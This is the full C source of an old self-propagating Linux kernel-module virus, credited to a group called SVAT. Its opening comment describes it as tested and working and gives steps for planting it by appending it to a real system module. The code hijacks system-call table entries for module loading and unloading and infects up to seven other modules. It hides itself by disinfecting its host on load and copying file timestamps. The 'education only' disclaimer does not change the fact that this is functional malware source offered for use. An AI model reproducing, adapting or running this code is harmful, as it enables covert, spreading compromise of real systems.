/*              SVAT - Special Virii And Trojans - present:
 *
 * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
 *
 * 0kay guys, here we go...
 * As i told you with VLP I (we try to write an fast-infector)
 * here's the result:
 * a full, non-overwriting module infector that catches
 * lkm's due to create_module() and infects them (max. 7)
 * if someone calls delete_module() [even on autoclean].
 * Linux is not longer a virii-secure system :(
 * and BSD follows next week ...
 * Since it is not needed 2 get root (by the module) you should pay
 * attention on liane.
 * Note the asm code in function init_module().
 * U should assemble your /usr/src/.../module.c with -S and your CFLAG
 * from your Makefile and look for the returnvalue from the first call
 * of find_module() in sys_init_module(). look where its stored (%ebp for me)
 * and change it in __asm__ init_module()! (but may it is not needed)
 *
 * For education only!
 * Run it only with permisson of the owner of the system you are logged on!!!
 *
 *              !!! YOU USE THIS AT YOUR OWN RISK !!!
 *
 * I'm not responsible for any damage you may get due to playing around with this.
 *
 * okay guys, you have to find out some steps without my help:
 *
 *      1. $ cc -c -O2 module.c
 *      2. get length of module.o and patch the #define MODLEN in module.c
 *      3. $ ???
 *      4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o
 *      5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
 *      >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<
 *      6. $ insmod ???
 * 
 * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
 * kernel 2.0.33. It works.
 *
 *      greets  (in no order...)
 *
 *      NetW0rker       - tkx for da sources
 *      Serialkiller    - gib mir mal deine eMail-addy
 *      hyperSlash      - 1st SVAT member, he ?
 *      naleZ           - hehehe
 *      MadMan          - NetW0rker wanted me to greet u !?
 *      KilJaeden       - TurboDebugger and SoftIce are a good choice !
 *
 *      and all de otherz
 *
 *      Stealthf0rk/SVAT <stealth@cyberspace.org>
 */

#define __KERNEL__
#define MODULE
#define MODLEN 7104
#define ENOUGH 7
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM   set_fs(old_fs);}


/* i'm not sure we need all of 'em ...*/

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

#define __NR_our_syscall 211
#define MAXPATH 30
/*#define DEBUG*/
#ifdef DEBUG
#define DPRINTK(format, args...) printk(KERN_INFO format,##args)
#else
#define DPRINTK(format, args...)
#endif

/* where the sys_calls are */

extern void *sys_call_table[];

/* tested only with kernel 2.0.33, but thiz should run under 2.x.x
 * if you change the default_path[] values
 */

static char *default_path[] = {
  ".", "/linux/modules",
  "/lib/modules/2.0.33/fs",
  "/lib/modules/2.0.33/net",
  "/lib/modules/2.0.33/scsi",
  "/lib/modules/2.0.33/block",
  "/lib/modules/2.0.33/cdrom",
  "/lib/modules/2.0.33/ipv4",
  "/lib/modules/2.0.33/misc",
  "/lib/modules/default/fs",
  "/lib/modules/default/net",
  "/lib/modules/default/scsi",
  "/lib/modules/default/block",
  "/lib/modules/default/cdrom",
  "/lib/modules/default/ipv4",
  "/lib/modules/default/misc",
  "/lib/modules/fs",
  "/lib/modules/net",
  "/lib/modules/scsi",
  "/lib/modules/block",
  "/lib/modules/cdrom",
  "/lib/modules/ipv4",
  "/lib/modules/misc",
  0
};

static struct symbol_table my_symtab =
    {
#include <linux/symtab_begin.h>
      X(printk),
      X(vmalloc),
      X(vfree),
      X(kerneld_send),
      X(current_set),
      X(sys_call_table),
      X(register_symtab_from),
#include <linux/symtab_end.h>
    };

char files2infect[7][60 + 2];

/* const char kernel_version[] = UTS_RELEASE; */

int (*old_create_module)(char*, int);
int (*old_delete_module)(char *);
int (*open)(char *, int, int);
int (*close)(int);
int (*unlink)(char*);

int our_syscall(int);
int infectfile(char *);
int is_infected(char *);
int cp(struct file*, struct file*);
int writeVir(char *, char *);
int init_module2(struct module*);
char *get_mod_name(char*);

/* needed to be global */

void *VirCode = NULL;

/* install new syscall to see if we are already in kmem */
int our_syscall(int mn)
{
  /* magic number: 40hex :-) */
  if (mn == 0x40)
    return 0;
  else
    return -ENOSYS;
}

int new_create_module(char *name, int size)
{
  int i = 0, j = 0, retval = 0;

  if ((retval = old_create_module(name, size)) < 0)
    return retval;
  /* find next free place */
  for (i = 0; files2infect[i][0] && i < 7; i++);
  if (i == 6)
    return retval;
  /* get name of mod from user-space */
  while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60)
    j++;
  DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
  return retval;
}

/* we infect modules after sys_delete_module, to be sure
 * we don't confuse the kernel
 */

int new_delete_module(char *modname)
{
  static int infected = 0;
  int retval = 0, i = 0;
  char *s = NULL, *name = NULL;


  retval = old_delete_module(modname);

  if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
    return retval;

  for (i = 0; files2infect[i][0] && i < 7; i++)
    {
      strcat(files2infect[i], ".o");
      if ((s  = get_mod_name(files2infect[i])) == NULL)
        {
          return retval;
        }
      name = strcpy(name, s);
      if (!is_infected(name))
        {
          DPRINTK("try 2 infect %s as #%d\n", name, i);
          infected++;
          infectfile(name);
        }
      memset(files2infect[i], 0, 60 + 2);
    } /* for */
  /* its enough */
  if (infected >= ENOUGH)
    cleanup_module();
  vfree(name);
  return retval;
}


/* lets take a look at sys_init_module(), that calls
 * our init_module() compiled with
 * CFLAG = ... -O2 -fomit-frame-pointer
 * in C:
 * ...
 * if((mp = find_module(name)) == NULL)
 * ...
 *
 * is in asm:
 * ...
 * call find_module
 * movl %eax, %ebp
 * ...
 * note that there is no normal stack frame !!!
 * thats the reason, why we find 'mp' (return from find_module) in %ebp
 * BUT only when compiled with the fomit-frame-pointer option !!!
 * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
 * you should find mp at -4(%ebp) .
 * thiz is very bad hijacking of local vars and an own topic.
 * I hope you do not get an seg. fault.
 */

__asm__
("

 .align 16
 .globl init_module
 .type init_module,@function

 init_module:
 pushl %ebp               /* ebp is a pointer to mp from sys_init_module() */
 /* and the parameter for init_module2() */
 call init_module2
 popl %eax
 xorl %eax, %eax          /* all good */
 ret                      /* and return */
 .hype27:
 .size init_module,.hype27-init_module
 ");

/* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
 *
 * pushl %ebx
 * movl %ebp, %ebx
 * pushl -4(%ebx)
 * call init_module2
 * addl $4, %esp
 * xorl %eax, %eax
 * popl %ebx
 * ret
 */

/*----------------------------------------------*/

int init_module2(struct module *mp)
{
  char *s = NULL, *mod = NULL, *modname = NULL;
  long state = 0;

  mod = vmalloc(60 + 2);
  modname = vmalloc(MAXPATH + 60 + 2);
  if (!mod || !modname)
    return -1;
  strcpy(mod, mp->name);
  strcat(mod, ".o");


  MOD_INC_USE_COUNT;
  DPRINTK("in init_module2: mod = %s\n", mod);

  /* take also a look at phrack#52 ...*/
  mp->name = "";
  mp->ref = 0;
  mp->size = 0;

  /* thiz is our new main ,look for copys in kmem ! */
  if (sys_call_table[__NR_our_syscall] == 0)
    {
      old_delete_module = sys_call_table[__NR_delete_module];
      old_create_module = sys_call_table[__NR_create_module];
      sys_call_table[__NR_our_syscall] = (void*)our_syscall;
      sys_call_table[__NR_delete_module] = (void*)new_delete_module;
      sys_call_table[__NR_create_module] = (void*)new_create_module;
      memset(files2infect, 0, (60 + 2)*7);
      register_symtab(&my_symtab);
    }
  open = sys_call_table[__NR_open];
  close = sys_call_table[__NR_close];
  unlink = sys_call_table[__NR_unlink];

  if ((s = get_mod_name(mod)) == NULL)
    return -1;
  modname = strcpy(modname, s);
  load_real_mod(modname, mod);
  vfree(mod);
  vfree(modname);
  return 0;
}

int cleanup_module()
{
  sys_call_table[__NR_delete_module] = old_delete_module;
  sys_call_table[__NR_create_module] = old_create_module;
  sys_call_table[__NR_our_syscall] = NULL;
  DPRINTK("in cleanup_module\n");
  vfree(VirCode);
  return 0;
}

/* returns 1 if infected;
 * seek at position MODLEN + 1 and read out 3 bytes,
 * if it is "ELF" it seems the file is already infected
 */

int is_infected(char *filename)
{
  char det[4] = {0};
  int fd = 0;
  struct file *file;

  DPRINTK("in is_infected: filename = %s\n", filename);
  BEGIN_KMEM
  fd = open(filename, O_RDONLY, 0);
  END_KMEM
  if (fd <= 0)
    return -1;
  if ((file = current->files->fd[fd]) == NULL)
    return -2;
  file->f_pos = MODLEN + 1;
  DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
  BEGIN_KMEM
  file->f_op->read(file->f_inode, file, det, 3);
  close(fd);
  END_KMEM
  DPRINTK("in is_infected: det = %s\n", det);
  if (strcmp(det, "ELF") == 0)
    return 1;
  else
    return 0;
}

/* copy the host-module to tmp, write VirCode to
 * hostmodule, and append tmp.
 * then delete tmp.
 */


int infectfile(char *filename)
{
  char *tmp = "/tmp/t000";
  int in = 0, out = 0;
  struct file *file1, *file2;

  BEGIN_KMEM
  in = open(filename, O_RDONLY, 0640);
  out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
  END_KMEM
  DPRINTK("in infectfile: in = %d out = %d\n", in, out);
  if (in <= 0 || out <= 0)
    return -1;
  file1 = current->files->fd[in];
  file2 = current->files->fd[out];
  if (!file1 || !file2)
    return -1;
  /* save hostcode */
  cp(file1, file2);
  BEGIN_KMEM
  file1->f_pos = 0;
  file2->f_pos = 0;
  /* write Vircode [from mem] */
  DPRINTK("in infetcfile: filenanme = %s\n", filename);
  file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
  /* append hostcode */
  cp(file2, file1);
  close(in);
  close(out);
  unlink(tmp);
  END_KMEM
  return 0;
}

int disinfect(char *filename)
{

  char *tmp = "/tmp/t000";
  int in = 0, out = 0;
  struct file *file1, *file2;

  BEGIN_KMEM
  in = open(filename, O_RDONLY, 0640);
  out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
  END_KMEM
  DPRINTK("in disinfect: in = %d out = %d\n",in, out);
  if (in <= 0 || out <= 0)
    return -1;
  file1 = current->files->fd[in];
  file2 = current->files->fd[out];
  if (!file1 || !file2)
    return -1;
  /* save hostcode */
  cp(file1, file2);
  BEGIN_KMEM
  close(in);
  DPRINTK("in disinfect: filename = %s\n", filename);
  unlink(filename);
  in = open(filename, O_RDWR|O_CREAT, 0640);
  END_KMEM
  if (in <= 0)
    return -1;
  file1 = current->files->fd[in];
  if (!file1)
    return -1;
  file2->f_pos = MODLEN;
  cp(file2, file1);
  BEGIN_KMEM
  close(in);
  close(out);
  unlink(tmp);
  END_KMEM
  return 0;
}

/* a simple copy routine, that expects the file struct pointer
 * of the files to be copied.
 * So its possible to append files due to copieng.
 */

int cp(struct file *file1, struct file *file2)
{

  int in = 0, out = 0, r = 0;
  char *buf;

  if ((buf = (char*)vmalloc(10000)) == NULL)
    return -1;

  DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
  BEGIN_KMEM
  while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
    file2->f_op->write(file2->f_inode, file2, buf, r);
  file2->f_inode->i_mode = file1->f_inode->i_mode;
  file2->f_inode->i_atime = file1->f_inode->i_atime;
  file2->f_inode->i_mtime = file1->f_inode->i_mtime;
  file2->f_inode->i_ctime = file1->f_inode->i_ctime;
  END_KMEM
  vfree(buf);
  return 0;
}

/* Is that simple: we disinfect the module [hide 'n seek]
 * and send a request to kerneld to load
 * the orig mod. N0 fuckin' parsing for symbols and headers
 * is needed - cool.
 */
int load_real_mod(char *path_name, char *name)
{
  int r = 0, i = 0;
  struct file *file1, *file2;
  int in =  0, out = 0;

  DPRINTK("in load_real_mod name = %s\n", path_name);
  if (VirCode)
    vfree(VirCode);
  VirCode = vmalloc(MODLEN);
  if (!VirCode)
    return -1;
  BEGIN_KMEM
  in = open(path_name, O_RDONLY, 0640);
  END_KMEM
  if (in <= 0)
    return -1;
  file1 = current->files->fd[in];
  if (!file1)
    return -1;
  /* read Vircode [into mem] */
  BEGIN_KMEM
  file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
  close(in);
  END_KMEM
  disinfect(path_name);
  r = request_module(name);
  DPRINTK("in load_real_mod: request_module = %d\n", r);
  return 0;
}

char *get_mod_name(char *mod)
{
  int fd = 0, i = 0;
  static char* modname = NULL;

  if (!modname)
    modname = vmalloc(MAXPATH + 60 + 2);
  if (!modname)
    return NULL;
  BEGIN_KMEM
  for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++)
    {
      memset(modname, 0, MAXPATH + 60 + 2);
      modname = strcpy(modname, default_path[i]);
      modname = strcat(modname, "/");
      modname = strcat(modname, mod);
      if ((fd = open(modname, O_RDONLY, 0640)) > 0)
        break;
    }
  close(fd);
  END_KMEM
  if (!default_path[i])
    return NULL;
  return modname;
}
